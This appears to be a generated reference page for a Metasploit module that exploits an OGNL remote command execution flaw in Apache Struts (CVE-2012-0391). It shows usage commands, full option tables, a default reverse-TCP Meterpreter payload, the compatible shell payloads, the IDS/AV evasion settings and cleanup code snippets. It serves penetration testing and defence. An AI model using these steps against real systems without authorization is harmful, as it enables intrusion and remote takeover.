Apache Struts Remote Command Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/http/struts_code_exec_exception_delegator metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Apache Struts Remote Command Execution
Module: exploit/multi/http/struts_code_exec_exception_delegator
Source code: modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
Disclosure date: 2012-01-06
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Java, Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2012-0391

This module exploits a remote command execution vulnerability in Apache Struts versions < 2.2.1.1. This issue is caused because the ExceptionDelegator interprets parameter values as OGNL expressions during certain exception handling for mismatched data types of properties, which allows remote attackers to execute arbitrary Java code via a crafted parameter.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/http/struts_code_exec_exception_delegator
msf exploit(struts_code_exec_exception_delegator) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage


Here is how the multi/http/struts_code_exec_exception_delegator exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/struts_code_exec_exception_delegator

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts_code_exec_exception_delegator) > show info

       Name: Apache Struts Remote Command Execution
     Module: exploit/multi/http/struts_code_exec_exception_delegator
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-06

Provided by:
  Johannes Dahse
  Andreas Nusser
  juan vazquez <[email protected]>
  sinn3r <[email protected]>
  mihi

Available targets:
  Id  Name
  --  ----
  0   Windows Universal
  1   Linux Universal
  2   Java Universal

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  CMD                         no        Execute this command instead of using command stager
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      8080             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI                   yes       The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits a remote command execution vulnerability in 
  Apache Struts versions < 2.2.1.1. This issue is caused because the 
  ExceptionDelegator interprets parameter values as OGNL expressions 
  during certain exception handling for mismatched data types of 
  properties, which allows remote attackers to execute arbitrary Java 
  code via a crafted parameter.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2012-0391
  OSVDB (78277)
  https://www.exploit-db.com/exploits/18329

Module Options


This is a complete list of options available in the multi/http/struts_code_exec_exception_delegator exploit:

msf6 exploit(multi/http/struts_code_exec_exception_delegator) > show options

Module options (exploit/multi/http/struts_code_exec_exception_delegator):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CMD                         no        Execute this command instead of using command stager
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI                   yes       The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   2   Java Universal

Advanced Options


Here is a complete list of advanced options supported by the multi/http/struts_code_exec_exception_delegator exploit:

msf6 exploit(multi/http/struts_code_exec_exception_delegator) > show advanced

Module advanced options (exploit/multi/http/struts_code_exec_exception_delegator):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   CMDSTAGER::DECODER                                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                                no        The CMD Stager to use. (Accepted: auto, tftp)
   CMDSTAGER::SSL          false                                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                             no        Writable directory for staged files
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (java/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AESPassword                                   no        Password for encrypting communication
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   JavaMeterpreterDebug         false            no        Run the payload in debug mode, with logging enabled
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   Spawn                        2                yes       Number of subprocesses to spawn
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/struts_code_exec_exception_delegator module can exploit:

msf6 exploit(multi/http/struts_code_exec_exception_delegator) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Universal
   1   Linux Universal
   2   Java Universal

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/struts_code_exec_exception_delegator exploit:

msf6 exploit(multi/http/struts_code_exec_exception_delegator) > show payloads

Compatible Payloads
===================

   #   Name                                     Disclosure Date  Rank    Check  Description
   -   ----                                     ---------------  ----    -----  -----------
   0   payload/generic/custom                                    normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/java/jsp_shell_bind_tcp                           normal  No     Java JSP Command Shell, Bind TCP Inline
   4   payload/java/jsp_shell_reverse_tcp                        normal  No     Java JSP Command Shell, Reverse TCP Inline
   5   payload/java/meterpreter/bind_tcp                         normal  No     Java Meterpreter, Java Bind TCP Stager
   6   payload/java/meterpreter/reverse_http                     normal  No     Java Meterpreter, Java Reverse HTTP Stager
   7   payload/java/meterpreter/reverse_https                    normal  No     Java Meterpreter, Java Reverse HTTPS Stager
   8   payload/java/meterpreter/reverse_tcp                      normal  No     Java Meterpreter, Java Reverse TCP Stager
   9   payload/java/shell/bind_tcp                               normal  No     Command Shell, Java Bind TCP Stager
   10  payload/java/shell/reverse_tcp                            normal  No     Command Shell, Java Reverse TCP Stager
   11  payload/java/shell_reverse_tcp                            normal  No     Java Command Shell, Reverse TCP Inline
   12  payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   13  payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/struts_code_exec_exception_delegator exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/struts_code_exec_exception_delegator) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Please use a meterpreter payload in order to automatically cleanup.


Here is a relevant code snippet related to the "Please use a meterpreter payload in order to automatically cleanup." error message:

167:	    execute_command(cmd)
168:	  end
169:	
170:	  def on_new_session(client)
171:	    if client.type != "meterpreter"
172:	      print_error("Please use a meterpreter payload in order to automatically cleanup.")
173:	      print_error("The #{@payload_exe} file must be removed manually.")
174:	      return
175:	    end
176:	
177:	    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

The <PAYLOAD_EXE> file must be removed manually.


Here is a relevant code snippet related to the "The <PAYLOAD_EXE> file must be removed manually." error message:

168:	  end
169:	
170:	  def on_new_session(client)
171:	    if client.type != "meterpreter"
172:	      print_error("Please use a meterpreter payload in order to automatically cleanup.")
173:	      print_error("The #{@payload_exe} file must be removed manually.")
174:	      return
175:	    end
176:	
177:	    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
178:	

Windows does not allow running executables to be deleted


Here is a relevant code snippet related to the "Windows does not allow running executables to be deleted" error message:

175:	    end
176:	
177:	    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
178:	
179:	    if client.sys.config.sysinfo["OS"] =~ /Windows/
180:	      print_error("Windows does not allow running executables to be deleted")
181:	      print_error("The #{@payload_exe} file must be removed manually after migrating")
182:	      return
183:	    end
184:	
185:	    print_warning("Deleting the #{@payload_exe} file")

The <PAYLOAD_EXE> file must be removed manually after migrating


Here is a relevant code snippet related to the "The <PAYLOAD_EXE> file must be removed manually after migrating" error message:

176:	
177:	    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
178:	
179:	    if client.sys.config.sysinfo["OS"] =~ /Windows/
180:	      print_error("Windows does not allow running executables to be deleted")
181:	      print_error("The #{@payload_exe} file must be removed manually after migrating")
182:	      return
183:	    end
184:	
185:	    print_warning("Deleting the #{@payload_exe} file")
186:	    client.fs.file.rm(@payload_exe)

Deleting the <PAYLOAD_EXE> file


Here is a relevant code snippet related to the "Deleting the <PAYLOAD_EXE> file" error message:

180:	      print_error("Windows does not allow running executables to be deleted")
181:	      print_error("The #{@payload_exe} file must be removed manually after migrating")
182:	      return
183:	    end
184:	
185:	    print_warning("Deleting the #{@payload_exe} file")
186:	    client.fs.file.rm(@payload_exe)
187:	  end
188:	
189:	  def exploit
190:	    unless datastore['CMD'].blank?

Unsupported target platform!


Here is a relevant code snippet related to the "Unsupported target platform!" error message:

199:	    when 'win'
200:	      windows_stager
201:	    when 'java'
202:	      java_stager
203:	    else
204:	      fail_with(Failure::NoTarget, 'Unsupported target platform!')
205:	    end
206:	
207:	    handler
208:	  end
209:	end

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Johannes Dahse
  • Andreas Nusser
  • juan vazquez
  • sinn3r
  • mihi

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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